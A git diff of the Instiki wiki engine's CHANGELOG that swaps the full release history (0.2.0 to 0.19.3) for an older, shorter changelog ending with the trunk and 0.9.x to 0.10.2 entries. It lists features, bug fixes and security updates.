diff --git a/CHANGELOG b/CHANGELOG
old mode 100644
new mode 100755
index 0af54ab5..c7506e09
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,704 +1,189 @@
-N.B.: You *must* run
-
-     ruby bundle
-     ruby bundle exec rake upgrade_instiki
-
-after installing the new software, to enjoy the benefits of this new version.
-
-------------------------------------------------------------------------------
-* 0.19.3
-
-New Features:
-* Source view for Revisions
-* Rails updated to 2.3.14 (Security)
-* itextomml updated to 1.4.6
-* Replace REXML with Nokogiri in Maruku and
-  in xhtml_safe_sanitize().
-  (Huge speedup in rendering long pages)
-* MathJax updated to 1.1a final
-
-Bugs Fixed:
-* Bundler upgraded to 1.0.18
-* Fix null search bug
-* Better text/html serialization (thank you, Nokogiri)
-* Fix Maruku footnote backlink (reported by Shamaoke)
-* Fix Maruku link bug
-* Fix Maruku image title bug
-* Fix Maruku hrule, email address and header bugs
-* Fix Maruku bold-in-italics bug
-* Fix Maruku empty list-item bug
-
-------------------------------------------------------------------------------
-* 0.19.2
-
-New Features:
-* MathJax rendering for non-MathML capable browsers.
-* RedCloth (Textile) upgraded to 4.x (now handled
-  by Bundler).
-* Bundler upgraded to 1.0.7
-* Rails updated to 2.3.11
-
-Bugs Fixed:
-* Redirects and categories of included pages should
-  not be inherited. (Suggestion of Andrew Stacey).
-* Bug in Maruku equation handling (reported by Andrew Stacey).
-* SVG-Edit updates and bug-fixes.
-* Bug in editing S5 slideshows.
-* Unvendor Rack
-* Fix Maruku list-parsing bug (reported by Shamaoke)
-* Validate Web address (Reported by Richard Marquez).
-* Fix a well-formedness bug
-
-------------------------------------------------------------------------------
-* 0.19.1
-
-New Features:
-* From the "All" or Category listings, you can export selected pages (in any
-  desired order) to a single LaTeX file.
-* LaTeX export supports \array{} (with no options) and a LaTeX-style optional
-  argument for \sqrt[]{}. The latter requires itextomml 1.4.5 or later.
-* Updated to itextomml 1.4.5 (a bunch of new itex language features).
-* Updated to Rails 2.3.10. (There were security issues in 2.3.9 which, happily,
-  did NOT affect Instiki 0.19. But 2.3.10 has other improvements, as well.)
-
-Bugs Fixed:
-* Several SVG-Edit bugs fixed.
-* Removed some superfluous junk, to slim down the distribution (cuts the size of
-  the compressed .tar.gz nearly in half).
-
-------------------------------------------------------------------------------
-* 0.19
-
-New Features:
-
-* WYSIWYG SVG editing (via SVG-edit)
-* One-click S5 templates
-* Itex2MML is now a Rubygem. Latest is itextomml-1.4.2.
-* Rails Metal itex endpoint
-* HTML5 support
-* Support IALs on Markdown list items
-* Updated to Rails 2.3.9 and Erubis (now at 2.6.6)
-* Updated for Rack 1.2.1, sqlite3-ruby 1.3.1
-* Manages dependencies using Bundler. Before running Instiki for the first time
-  (and whenever you update), run
-  
-     ruby bundle
-     rake upgrade_instiki
-
-  from the instiki directory. (You may need to run
-  
-     ruby bundle exec rake upgrade_instiki
-
-  instead, if you get a complaint about your version of rake.)
-
-Bugs Fixed:
-
-* Works with Ruby 1.9.2
-* Fixed a bug in non-Latin WikiWord processing. (Reported by Alexander Hambug)
-* Fixed Cyrillic WikiWord support.
-* More informative dnsbl lookup responses (suggested by Toby Bartels)
-* Fixed a bug in LaTeX output
-* No longer conflicts with sqlite3-ruby 1.3.x Rubygem
-* Fixed some Category listing bugs
-* Fixed an escaping bug in 'new' and 'edit' templates. (Reported by Toby Bartels)
-* Allow special characters ('.', '/', etc) in page names.
-* Fix BlahTeX/PNG path, so equations render in diff and
-  previous revision pages.
-* Fix HTML Export feature so that uploaded files are
-  included, stylesheets load, etc.
-* Uploaded files inclided in Markup Export.
-* Fix Print View, so that uploaded images work.
-* Fix some more Ruby 1.9 isues.
-* Prevent page from being renamed to null.
-* Fix Migration to work under PostgreSQL (from J. Zellman).
-* Updated vendored plugins
-
-------------------------------------------------------------------------------
-* 0.18.1
-
-New Features:
-
-* (Markdown-Extra syle) fenced codeblocks. [From Jason Blevins]
-* Fortran syntax colouring. [From Jason Blevins]
-
-Bugs Fixed:
-
-* Fixed some Ruby 1.9 encoding issues, with unicode page names,
-  author names and categories.
-* Better display of inter-web wikilinks
-* various syntax-colouring fixes
-* Corrected length of wiki_references referenced_name (affects
-  MySQL users)
-
-------------------------------------------------------------------------------
-* 0.18
-
-New Features:
-
-* Syntax colouring: 'ansic', 'javascript', 'sqlite', 'yaml' and 'css' modes,
-  in addition to the existing 'html', 'xml', and 'ruby' modes,
-* Source view [suggested by Andrew Stacey]
-* Auto-resizing Textareas scale to fit viewing area.
-* Instiki upgraded to Rails 2.3.5 and Rack 1.1.
-* Now runs on Ruby 1.9. (If you're a Passenger user, you may need to upgrade to Passenger
-  2.2.8, which works around some bugs in Ruby 1.9.1.) 
-* Upgraded for itex2MML 1.3.19 (which works under Ruby 1.9, and has several new feautures,
-  relative to 1.3.15).
-
-Bugs Fixed:
-
-* Fixed a CSS bug, which screwed up printing (unless you used the "Print" view).
-* Fixed a well-formedness bug in the page-name truncation algorithm [reported by Toby Bartels]
-* Fixed a cache-sweeping bug [reported by Toby Bartels]
-* Better accessibility.
-* Improved log rotation under Passenger.
-* Omit a (seemingly superfluous) javascript hack which causes Gecko-based browsers to request
-     /my_wiki/s5/null
-  when they load an s5 slideshow.
-* Upgraded vendored sqlite3-ruby and rubyzip
-* Move files when renaming a web (so that links to uploaded files don't break).
-* Many Ruby 1.9 fixes, including removing the html5lib Sanitizer.
-
-------------------------------------------------------------------------------
-* 0.17.3
-
-The most important facet of this release is a small change in the database
-schema. Previously, people migrating from the default SQLite3 database to MySQL
-ran the risk of silent data loss, because MySQL had a more strict interpretation
-of the column types in the database. The new schema will prevent such problems.
-
-     rake upgrade_instiki
-
-will seamlessly upgrade your existing database to the new schema.
-
-New Features:
-* Passenger support (including X-Sendfile support, if the Apache mod_xsendfile
-  module is installed).
-* Update for itex2MML 1.3.13. (You should upgrade your itex2MML to the latest
-  version, too.)
-
-Bugs Fixed:
-* Refactored the Web model (from James Herdman).
-* Clean malformed utf-8 strings, rather than complaining about them.
-* Updated location of Textile help, since _why_the_lucky_stiff left the 'net.
-* Fixed a TeX rendering bug.
-* Updated list of XHTML+MathML named entities to match W3C Working Draft.
-* Refactored the Sanitizer (speedup).
-* Fix S5 Slideshows for non-root Instiki URLs.
-* Work around a Rails flash bug.
-* Links from published webs should work right (finally?).
-* An important database migration for MySQL users.
-
-------------------------------------------------------------------------------
-* 0.17.2
-
-Security: Updated to Rails 2.3.4
-* Fixes Timing Weakness in Rails MessageVerifier and the Cookie Store
-  http://weblog.rubyonrails.org/2009/9/4/timing-weakness-in-ruby-on-rails
-* Fixes XSS Vulnerability in Rails
-  http://weblog.rubyonrails.org/2009/9/4/xss-vulnerability-in-ruby-on-rails
-
-New Features:
-* Syntax colouring (`ruby` and `html`) for code blocks.
-* Updated for itex2MML 1.3.10 (supports \rlap{} and \underline{}). You should upgrade that, too.
-* Add a "Create New Page" Link to the Search Page. (Based on an idea by nowa)
-* Updated to Rails 2.3.4 
-
-Bugs Fixed:
-* Wikilinks to published webs should be to the published action. This didn't work
-  right for inter-web links. (Reported by Mike Shulman)
-* Use .size, rather than .length for ActiveRecord associations. A huge memory saving
-  in building the recently_revised page.
-* Refactor the upgrade_instiki rake task, to make it database-agnostic. (Many thanks to James Herdman)
-* Web#files_path and Web#blatex_pngs_path now return Pathname objects. (Thanks, again, to James Herdman)
-* Workaround for Mozilla Bug 449396. (Reported by Andrew Stacey)
-* Correctly Set noindex,nofollow On /diff Pages.
-* Page-renaming javascript deals correctly with page names containing ampersands, slashes, and other garbage.
-* List of Wanted Pages should not include redirected pages.
-* The Regexp, used in Maruku to detect "email" headers (used, e.g., for S5 slideshow metadata) could, for some inputs, interact badly with Instiki's Chunk Handler. Fixed.
-* Ensure "rollback" locks page for editing.
-* Generate relative URLs, when possible. (Patch by Dennis Knauf)
-* Expire revisions of an edited page. Use a `before_save` hook to deal with the situation where a page's name has been changed.
-
-------------------------------------------------------------------------------
-* 0.17
-
-New features:
-* Ability to rename pages
-* Ability to redirect Wikilinks, using
-    [[!redirect ...]]
-* HTTP 302 redirects, for redirected/renamed pages
-
-Bugs Fixed:
-* Rails gets very unhappy with "." in page or author names.
-  Make sure that doesn't happen.
-* Fix a Maruku escaping bug.
-* WEBrick should respond to TERM signals 
-  (needed by MacOSX and, perhaps, others).
-* Add a flash message for redirection to "new" page
-  when the target of "show" action is not found.
-* Flash[:info] messages use Web's colour scheme.
-* Uploaded files in published webs should be accessible
-
-------------------------------------------------------------------------------
-* 0.16.6
-
-New Features:
-* More colour schemes: blue, brown, scarlet red, and plum.
-  (From Jason Blevins)
-* History Pages: created a history page for each wiki page.
-  Link to it and to the "Diff" page from "Recently Revised".
-  (from Jason Blevins)
-* Support for SVG clipping paths
-  (requested by Andrew Stacey)
-* Updated for itex2MML 1.3.8. (You should
-  upgrade that, as well.) Support for blackboard bold lowercase
-  letters and digits.
-
-Bugs Fixed:
-* Fixed several bugs in Maruku, where "greedy" regexps
-  could lead to exponential slowdown on certain inputs.
-* Fixed a bug in listing/deleting links to uploaded video and
-  audio files.
-* Fixed some caching bugs.
-* Removed the defunct list.dsbl.org from anti-spam dnsbl lookups.
-* Resolved a conflict between form_spam_protect plugin and IE7.
-  (thanks to Jason Blevins)
-
-------------------------------------------------------------------------------
-* 0.16.5: Rails 2.3.2
-
-* Runs on the Stable Release, Rails 2.3.2.
-* Support for audio/speex audio files.
-* Updated for itex2MML 1.3.7. (You should
-  upgrade that, as well.)
-* Tests for BlahTeX/PNG (if installed).
-
-------------------------------------------------------------------------------
-* 0.16.4
-
-New Features:
-* Add x-sendfile support for downloading uploaded files in Instiki.
-* Add support for HTML5 <video> and <audio> elements:
-  [[mymovie.ogv:video]], [[mysound.wav:audio]].
-* Runs on Rails 2.3.1
-  
-Bugs Fixed:
-* Update to Rails 2.3.1, which fixes several bugs.
-* Removed bundled Rack (Rails 2.3.1 comes bundled with Rack 1.0).
-* Add config.action_view.cache_template_loading = true to production
-  environment.
-* Fix FastCGI bug
-  (http://rubyforge.org/tracker/index.php?func=detail&aid=24191&group_id=186 &atid=783).
-* Fix WikiWords bug
-  (http://rubyforge.org/pipermail/instiki-users/2009-February/001181.html).
-* Fix bug on Windows
-  (http://rubyforge.org/pipermail/instiki-users/2009-March/001183.html)
-
-------------------------------------------------------------------------------
-* 0.16.3: Big steps, Rails 2.3.0-RC1 and tons of new stuff!
-
-All the patching, developing and great hacking from Jacques Distler was
-merged into the main codebase of instiki. Jaques is now also maintaining the
-main branch (together with parasew), which brings instiki up-to-date!
-
-Find more information about all the changes in his site:
-
-  http://golem.ph.utexas.edu/instiki/
-
-New Features:
-* Instiki comes and runs with Rails 2.3.0-RC1
-* New Markdown interpreter: Maruku
-* Default markup dialect is Markdown+itex2MML
-* Mathematics suport, using itex2MML (Markdown+itex2MML)
-     http://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html
-  or BlahTeX (Markdown+BlahTeX/PNG)
-     http://golem.ph.utexas.edu/instiki/show/BlahTeX
-* Theorem Environments
-* Automatic Equation numbering and automatic Theorem numbering,
-* Integrated presentation software
-     http://golem.ph.utexas.edu/instiki/show/S5
-  complete with support for themes
-  (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG)
-* Sends application/xhtml+xml to compatible browsers
-  (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG)
-  Serve Webs which use non-Markdown Text Filters (Textile, RDoc or Mixed) as
-  text/html. This makes those Text Filters usable, again.
-* Scalable Vector Graphics (SVG) enabled
-  (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG).
-* Nifty SVG Logo
-  (available with Markdown, Markdown+itex2MML or Markdown+BlahTeX/PNG).
-* Atom 1.0 feeds.
-* ETag support.
-* Filesystem-based caching.
-* New, industrial-strength Sanitizer (anti-XSS protection).
-* Uses xhtmldiff for redline diff pages.
-* (Actually functional) LaTeX output.
-* InterWeb WikiLinks
-* Add a user interface to manage uploaded files.
-* Add a user interface to delete a Web.
-* Add a user interface to delete orphaned pages in a Category. In addition to
-  deleting all orphaned pages, you can now delete just the orphaned pages in a
-  particular category. Among other things, this provides a handy way to delete
-  a (selection of) page(s): just assign them to a new category (“delete”, say)
-  and delete the orphaned pages in that category.
-* Add the manage_fixtures plugin for easy database migration
-* Descriptions in the File Upload Dialog are used as the default alt text (for
-  pictures) or the default link text (for files).
-
-Bugfixes:
-(see http://golem.ph.utexas.edu/~distler/blog/archives/001893.html for a
-complete list)
-
-* fixes to xhtmldiff
-* fixed Sanitizer issues
-* Do dnsbl lookups more judiciously. Anti-spam effectiveness is undiminished,
-  but the application is more responsive.
-* Fix a Session CookieOverflow when rescuing Instiki::ValidationError
-* Domain independent caching
-* Fix for no Flash Messages 
-* Links on “published” Webs were all screwed-up. Fixed.
-* Make uploaded pictures display in the “published” view.
-* Make @import rules in the “Stylesheet Tweaks” work in the “published” view.
-* Actually verify the password, when setting a password for a Web, rather than
-  just pretending to do so.
-* fixes for nowiki “<nowiki>[[!include foo]]</nowiki>”)
-* Hide Equations From WikiChunk Processing
-* Fix a bug in the Chunk handler, which was mangling backslashes in included
-  pages.
-* Entering the wrong password on the “CreateWeb” form now redirects back to
-  the form, as it should.
-* Allow single-letter WikiLinks (e.g. “[[a]]”). Requested by a Japanese user.
-* Allow single-letter includes (e.g. “[[!include a]]”).
-* Huge improvements to caching and cache-sweeping
-* Category listing restricts to current Web.
-* All WikiReference methods limit results to the current web
-* File uploads work right.
-* Make WEBrick respond to TERM signal. (Launchd, in particular, requires this.)
-* Ditch the URIChunk and LocalURIChunk handlers. Slow, buggy, and of dubious
-  utility.
-* Ensure unsafe operations (new, save,...) are POSTs, not GETs.
-* Fix utf-8 bug in WikiChunk handling.
-* Disable WikiChunk processing in tags.
-* Hide Equations From WikiChunk Processing
-* Fix for the "Backslashes in Included Equations" bug.
-* Sessions are now stored in a cookie (signed and Base-64 encoded).
-  Form_spam_protection stores form_keys in the session.
-  Make sure spambots implement both cookies and javascript, by storing
-  hashed (with salt) keys in the session.
-* Make sure request.ip is a valid IPv4 or IPv6 address.
-* Make remove_orphaned_pages work in a proxied situation.
-* In the wiki_controller, only apply the dnsbl_check before_filter 
-  to the :edit, :new, and :save :export actions, instead of all actions.
-  This makes mundane "show" requests faster, but does not 
-  compromise spam-fighting ability.
-* Be a little gentler in recovering from Instiki::ValidationErrors, when
-  saving a page. Previously, we threw away all the user's changes upon
-  the redirect. Now we attempt to salvage what he wrote.
-* Drop hostname from cache key.
-* Fix Recursive Includes.
-* Entering an incorrect password on the Create Web form should redirect
-  back to the form, with a flash error.
-* In the Stylesheet Tweaks, the owner of a Web can specify an @import rule
-  to pull in CSS styles form an external file. This worked in the "show"
-  view, but was broken in the "published" view. Fixed.
-* Allow multiple leading capital letters in a WikiWord.
-
-------------------------------------------------------------------------------
-* 0.13.0:
-
-Mainly a Bugfix Release, which fixes two XSS Vulnerabilities.
-More information can be found on Jacques Distler's Blog:
-http://golem.ph.utexas.edu/~distler/blog/archives/001634.html
-
-------------------------------------------------------------------------------
- * 0.12.0:
- 
- 0.12 is mainly a bugfix release. We recommend all instiki Users to upgrade.
- In this version, some security holes where fixed
-	- An XSS vulnerability in categories
-	- An XSS vulnerability in <nowiki>
-	- fixes that Instiki allows "dangerous" operations as HTTP GETs
-
- as well as some other small improvements.
-	- fixes for instiki running on mongrel
-	- fixes for instiki running on mongrel_cluster
-
- We added a lot of tests, synced with Jacques Distler's version and fixed 
- small bugs as well. A note to Mac OSX users: use the Ruby One-Click-Installer
- for OSX ( http://rubyosx.com ) or make sure you are not running into problems
- with sqlite (see http://instiki.5uper.net/instiki/show/SQLite+issues+on+OSX)
-
-------------------------------------------------------------------------------
- * 0.11.pl1
-
- - ANTISPAM: 
-   - updated and included spam_patterns.txt
-   - included dnsbl_check - DNS Blackhole Lists check
-     [thanks to joost from http://www.spacebabies.nl ]
-   - included the form-spam-protection rails plugin
-     http://form-spam-protection.googlecode.com/svn/form_spam_protection/
-
- - BUGFIXES:
-   - fix PDF output not to contain garbage chars [Jesse Newland]
-   - fixed the pages and authors display for single webs 
-   - web list does not show a link to a published version if it has none
-     [Jesse Newland]
-   - Fixed bug that failed to expire cached diff view of a page
-   - Fixed rendering of WikiLinks in included pages in published or export 
-     mode
-   - lots of small bugfixes and changes
-
- - UPDATES:
-   - Rails 1.2.1 tested and packaged with instiki
-   - updated RubyZip to 0.9.1
-   - updated packaged sqlite3-ruby
-
- - FEATURES:
-   - fix: being logged in on more Webs at once works now [Jaques Distler]
-   - Stylesheet tweaks
-   - visual display if webs are pass-protected (div background)
-   - Linux packaging
-
-------------------------------------------------------------------------------
- * 0.11.0:
-   - SQL-based backend (ActiveRecord)
-   - File uploads (finally)
-   - Upgraded to Rails 1.0.0
-   - Replaced internal link generator with routing
-   - Fixed --daemon option
-   - Removed Rubygem and native OS X distributions
-   - Improved HTML diff
-   - More accurate "See Changes"
-------------------------------------------------------------------------------
- * 0.10.2:
-   - Upgraded to Rails 0.13.1
-   - Fixed HTML export
-   - Added layout=no option to the export_html action (it exports page
-     contents processed by the markup engine, but without the default layout -
-     so that they can be wrapped in some other layout)
-   - <nowiki> tag can span several lines (before it was applied when both 
-     opening and closing tags were on the same line only)
-   - Resolved the "endless redirection loop" condition and otherwise improved 
-     handling of errors in the rendering engines
-   - Fixed rendering of Markdown hyperlinks such as   
-     [Text](http://something.com/foo)
-------------------------------------------------------------------------------
- * 0.10.1:
-   - Upgraded Rails to 0.12.0
-   - Upgraded rubyzip to version 0.5.8
-   - BlueCloth is back (RedCloth didn't do pure Markdown well enough)
-   - Handling of line breaks in Textile is as in 0.9 (inserts <br/> tag)
-   - Fixed HTML export (to enclose the output in <html> tags, include the
-     stylesheet etc)
-   - Corrected some compatibility issues with storages from earlier Instiki
-     versions
-   - Some other bug fixes
-------------------------------------------------------------------------------
- * 0.10.0:
-   - Ported to ActionPack
-   - RedCloth 3.0.3
-   - BlueCloth is phased out, Markdown is rendered by RedCloth
-   - Mix markup option understands both Textile and Markdown on the same page
-   - Instiki can serve static content (such as HTML or plain-text files) from
-     ./public directory
-   - Much friendlier admin interface
-   - Wiki link syntax doesn't conflict with Textile hyperlink syntax.
-     Therefore "textile link":LinkToSomePlace will not look insane.
-   - RSS feeds accept query parameters, such as
-     http://localhost:2500/wiki/rss_with_headlines?start=2005-02-18&end=2005-02-19&limit=10
-   - RSS feed with page contents for a password-protected web behaves as 
-     follows: if the web is published, RSS feed links to the published version 
-     of the web. otherwise, the feed is not available
-     Madeleine will check every hour if there are new commands in the log or
-     24 hours have passed since last snapshot, and take snapshot if either of
-     these conditions is true. Madeleine will also not log read-only
-     operations, resulting in a better performance
-   - Wiki extracts (to HTML and plain text) will leave only the last extract
-     file in ./storage
-   - Wiki search handles multibyte (UTF-8) characters correctly
-   - Local hyperlinks in published pages point to published pages [Michael 
-     DeHaan]
-   - Fixed a bug that sometimes caused all past revisions of a page to be 
-     "forgotten" on restart
-   - Fixed parsing of URIs with a port number (http://someplace.org:8080)
-   - Instiki will not fork itself on a *nix, unless explicitly asked to
-   - Instiki can bind to IPs other than 127.0.0.1 (command-line option)
-   - Revisions that do not change anything on the page are rejected
-   - Automated tests for all controller actions
-   - category: lines are presented as links to "All Pages" for relevant 
-     categories
-   - Search looks at page titles, as well as content
-   - Multiple other usability enhancements and bug fixes
-------------------------------------------------------------------------------
- * 0.9.2:
-   - Rollback takes the user to an edit form. The form has to be submitted for
-     the change to take place.
-   - Changed to use inline style on published pages
-   - Fixed "forward in time" on the last revision before current page
-   - Instiki won't log bogus error messages when creating a new Wiki
-   - Fixed deprecation warning for Object.id (introduced in Ruby 1.8.2)
-   - Madeleine upgraded to 0.7.1
-   - Madeleine snapshots are compressed
-   - Packaged as a gem
-------------------------------------------------------------------------------          
- * 0.9.1:
-   - Added performance improvements for updating existing pages
-   - Fixed IP logging and RSS feeds behind proxies [With help from Guan Yang]
-   - Fixed default storage directory (borked running on Windows)
-     [Spotted by Curt Hibbs]
-------------------------------------------------------------------------------          
- * 0.9.0:
-   - Added aliased links such as [[HomePage|that nice home page]] [Mark Reid]
-   - Added include other page content with [[!include TableOfContents]]
-     [Mark Reid]
-   - Added delete orphan pages from the Edit Web screen [by inspiration from
-     Simon Arnaud]
-   - Added logging of IP address for authors (who's behind the rollback wars)
-   - Added Categories pages through backlinks (use "categories: news, instiki"
-     on start of line) [Mark Reid]
-   - Added option to use bracket-style wiki links only (and hence ban
-     WikiWords)
-   - Added command-line option to specify different storage path
-   - Added print view without navigation
-   - Added character and page (2275 characters including spaces) counter 
-     (important for student papers)
-   - Off by default, activate it on the Edit Web screen
-   - Added LaTeX/PDF integration on Textile installations with pdflatex 
-     installed on system (EXPERIMENTAL)
-   - Use the home page as a table of contents with a unordered list to control 
-     sections
-   - Added limit of 15 to the number of pages included in RSS feed
-   - Moved static parts of stylesheet to separate file [Lau T?rnskov]
-   - Fixed better semantics for revision movement [Ryan Singer]
-   - Fixed color diffs to work much better [Xen/Mertz/Atkins]
-   - Fixed performance problems for All Pages list [Dennis Mertz]
-   - Fixed lots of rendering bugs [Mark Reid]
-   - Upgraded to RedCloth 2.0.11 [integrating the fine work of Dennis Mertz]
-------------------------------------------------------------------------------          
- * 0.8.9:
-   - Added color diffs to see changes between revisions [Bill Atkins]
-     They're aren't quite perfect yet as new paragraphs split the <ins> tags 
-     (hence 0.8.9, not 0.9.0)
-   - Added redirect to edit if content of page generates an error
-     (so the page doesn't become unusable on bugs in the markup engines)
-   - Fixed update Web with different address bug [Denis Metz]
-   - Fixed a bunch of wiki word rendering issues by doing wiki word detection
-     and replacment at once
-   - Upgraded to BlueCloth 0.0.3b (should fix loads of problems on Markdown
-     wikis)
-------------------------------------------------------------------------------          
- * 0.8.5:
-   - Instiki can now serve as a CMS by running a password-protected web with a 
-     published front
-   - Added version check at startup (Instiki needs Ruby 1.8.1)
-------------------------------------------------------------------------------          
- * 0.8.1:
-   - Actually included RedCloth 2.0.7 in the release
-------------------------------------------------------------------------------          
- * 0.8.0:
-   - NOTE: Single-web wikis created in versions prior to 0.8.0 have "instiki"
-     as their system password
-   - Accepts wiki words in bracket style.
-     Examples: [[wiki word]], [[c]], [[We could'nt have done it!]]
-   - Accepts camel-case wiki words in all latin, greek, cyrillian, and
-     armenian unicode characters
-   - Many thanks to Guan Yang for building the higher- and lower-case lookup 
-     tables. And thanks to Simon Arnaud for the initial patch that got the 
-     work started
-   - Changed charset to UTF-8
-   - Cut down on command-line options and replaced them with an per-web config 
-     screen
-   - Added option to extend the stylesheet on a per-web basis to tweak the 
-     look in details
-   - Added simple color options for variety
-   - Added option to add/remove password protection on each web
-   - Added the wiki name of the author locking a given page (instead of just 
-     "someone")
-   - Removed single/multi-web distinction -- all Instikis are now multi-web
-   - Load libraries from an unshifted load path, so that old installed 
-     libraries doesn't clash [Emiel van de Laar]
-   - Keeps the author cookie forever, so you don't have to enter your name 
-     again and again
-   - Fixed XHTML so it validates [Bruce D'Arcus]
-   - Authors are no longer listed under orphan pages
-   - Added export to markup (great for backups, potentially for switching wiki 
-     engine)
-   - Don't link wiki words that proceeds from either /, = or ?
-     (http://c2.com/cgi/wiki?WikiWikiClones,
-     /show/HomePage, cgi.pl?show=WikiWord without escaping)
-   - Accessing an unexisting page redirects to a different url (/new/PageName)
-   - Increased snapshot time to just once a day (cuts down on disk storage
-     requirements)
-   - Made RDoc support work better with 1.8.1 [Mauricio Fern?ndez]
-   - Added convinient redirect from /wiki/ to /wiki/show/HomePage
-   - Fixed BlueCloth bug with backticks at start of line
-   - Updated to RedCloth 2.0.7 (and linked to the new Textile reference)
-------------------------------------------------------------------------------          
- * 0.7.0:
-   - Added Markdown (BlueCloth) and RDoc [Mauricio Fern?ndez] as command-line 
-     markup choices
-   - Added wanted and orphan page lists to All pages (only show up if there's 
-     actually orphan or wanted pages)
-   - Added ISO-8859-1 as XML encoding in RSS feeds (makes FeedReader among 
-     others happy for special entities)
-   - Added proper links in the RSS feed (but the body links are still 
-     relative, which NNW and others doesn't grok)
-   - Added access keys: E => Edit, H => HomePage, A => All Pages,
-     U => Recently Revised, X => Export
-   - Added password-login through URL (so you can subscribe to feed on a 
-     protected web)
-   - Added web passwords to the feed links for protected webs, so they work 
-     without manual login
-   - Added the web name in small letters above all pages within a web
-   - Polished authors and recently revised 
-   - Updated to RedCloth 2.0.6
-   - Changed content type for RSS feeds to text/xml (makes Mozilla Aggreg8
-     happy)
-   - Changed searching to be case insensitive
-   - Changed HomePage to display the name of the web instead
-   - Changed exported HTML pages to be valid XHTML (which can be preprocessed
-     by XSLT)
-   - Fixed broken recently revised
-------------------------------------------------------------------------------          
- * 0.6.0:
-   - Fixed Windows compatibility [Florian]
-   - Fixed bug that would prevent Madeleine from taking snapshots in Daemon
-     mode
-   - Added export entire web as HTML in a zip file
-   - Added RSS feeds
-   - Added proper getops support for the growing number of options [Florian]
-   - Added safe mode that forbids style options in RedCloth [Florian]
-   - Updated RedCloth to 2.0.5
-------------------------------------------------------------------------------          
- * 0.5.0:
-   - NOTE: 0.5.0 is NOT compatible with databases from earlier versions
-   - Added revisions
-   - Added multiple webs
-   - Added password protection for webs on multi-web setups
-   - Added the notion of authors (that are saved in a cookie)
-   - Added command-line option for not running as a Daemon on Unix
-------------------------------------------------------------------------------          
- * 0.3.1:
-   - Added option to escape wiki words with \ 
-------------------------------------------------------------------------------          
- * 0.3.0:
-   - Brought all files into common style (including Textile help on the edit
-     page)
-   - Added page locking (if someone already is editing a page there's a 
-     warning)
-   - Added daemon abilities on Unix (keep Instiki running after you close the 
-     terminal)
-   - Made port 2500 the default port, so Instiki can be launched by
-     dobbelt-click
-   - Added Textile cache to speed-up rendering of large pages
-   - Made WikiWords look like "Wiki Words"
-   - Updated RedCloth to 2.0.4
-------------------------------------------------------------------------------          
- * 0.2.5:
-   - Upgraded to RedCloth 2.0.2 and Madeleine 0.6.1, which means the
-   - Windows problems are gone. Also fixed a problem with wikiwords
-   - that used part of other wikiwords.
-------------------------------------------------------------------------------       
- * 0.2.0:
-   - First public release
+ * trunk:
+         Fixed --daemon option.
+         
+ * 0.10.2:
+          Upgraded to Rails 0.13.1
+          Fixed HTML export
+          Added layout=no option to the export_html action (it exports page contents processed 
+          by the markup engine, but without the default layout - so that they can be wrapped in 
+          some other layout)
+          <nowiki> tag can span several lines (before it was applied when both opening and closing 
+          tags were on the same line only)
+          Resolved the "endless redirection loop" condition and otherwise improved handling of 
+          errors in the rendering engines
+          Fixed rendering of Markdown hyperlinks such as [Text](http://something.com/foo)
+
+ * 0.10.1:
+          Upgraded Rails to 0.12.0
+          Upgraded rubyzip to version 0.5.8
+          BlueCloth is back (RedCloth didn't do pure Markdown well enough)
+          Handling of line breaks in Textile is as in 0.9 (inserts <br/> tag)
+          Fixed HTML export (to enclose the output in <html> tags, include the stylesheet etc)
+          Corrected some compatibility issues with storages from earlier Instiki versions
+          Some other bug fixes
+
+ * 0.10.0:
+          Ported to ActionPack
+          RedCloth 3.0.3
+          BlueCloth is phased out, Markdown is rendered by RedCloth
+          Mix markup option understands both Textile and Markdown on the same page
+          Instiki can serve static content (such as HTML or plain-text files) from ./public 
+          directory
+          Much friendlier admin interface
+          Wiki link syntax doesn't conflict with Textile hyperlink syntax. Therefore
+          "textile link":LinkToSomePlace will not look insane.
+          RSS feeds accept query parameters, sush as 
+          http://localhost:2500/wiki/rss_with_headlines?start=2005-02-18&end=2005-02-19&limit=10
+          RSS feed with page contents for a password-protected web behaves as follows:
+            if the web is published, RSS feed links to the published version of the web
+            otherwise, the feed is not available
+          Madeleine will check every hour if there are new commands in the log or 24 hours have 
+          passed since last snapshot, and take snapshot if either of these conditions is true
+          Madeleine will also not log read-only operations, resulting in a better performance
+          Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage
+          Wiki search handles multibyte (UTF-8) characters correctly
+          Local hyperlinks in published pages point to published pages [Michael DeHaan]
+          Fixed a bug that sometimes caused all past revisions of a page to be "forgotten" on 
+          restart
+          Fixed parsing of URIs with a port number (http://someplace.org:8080)
+          Instiki will not fork itself on a *nix, unless explicitly asked to
+          Instiki can bind to IPs other than 127.0.0.1 (command-line option)
+          Revisions that do not change anything on the page are rejected
+          Automated tests for all controller actions
+          category: lines are presented as links to "All Pages" for relevant categories
+          Search looks at page titles, as well as content
+          Multiple other usability enhancements and bug fixes
+
+ * 0.9.2:
+          Rollback takes the user to an edit form. The form has to be submitted for the change to 
+          take place.
+          Changed to use inline style on published pages
+          Fixed "forward in time" on the last revision before current page
+          Instiki won't log bogus error messages when creating a new Wiki
+          Fixed deprecation warning for Object.id (introduced in Ruby 1.8.2)
+          Madeleine upgraded to 0.7.1
+          Madeleine snapshots are compressed
+          Packaged as a gem
+          
+ * 0.9.1:
+          Added performance improvements for updating existing pages
+          Fixed IP logging and RSS feeds behind proxies [With help from Guan Yang]
+          Fixed default storage directory (borked running on Windows) [Spotted by Curt Hibbs]
+          
+ * 0.9.0:
+          Added aliased links such as [[HomePage|that nice home page]] [Mark Reid]
+          Added include other page content with [[!include TableOfContents]] [Mark Reid]
+          Added delete orphan pages from the Edit Web screen [by inspiration from Simon Arnaud]
+          Added logging of IP address for authors (who's behind the rollback wars)
+          Added Categories pages through backlinks (use "categories: news, instiki" on start of line) [Mark Reid]
+          Added option to use bracket-style wiki links only (and hence ban WikiWords)
+          Added command-line option to specify different storage path
+          Added print view without navigation
+          Added character and page (2275 characters including spaces) counter (important for student papers)
+          Off by default, activate it on the Edit Web screen
+          Added LaTeX/PDF integration on Textile installations with pdflatex installed on system (EXPERIMENTAL)
+          Use the home page as a table of contents with a unordered list to control sections
+          Added limit of 15 to the number of pages included in RSS feed
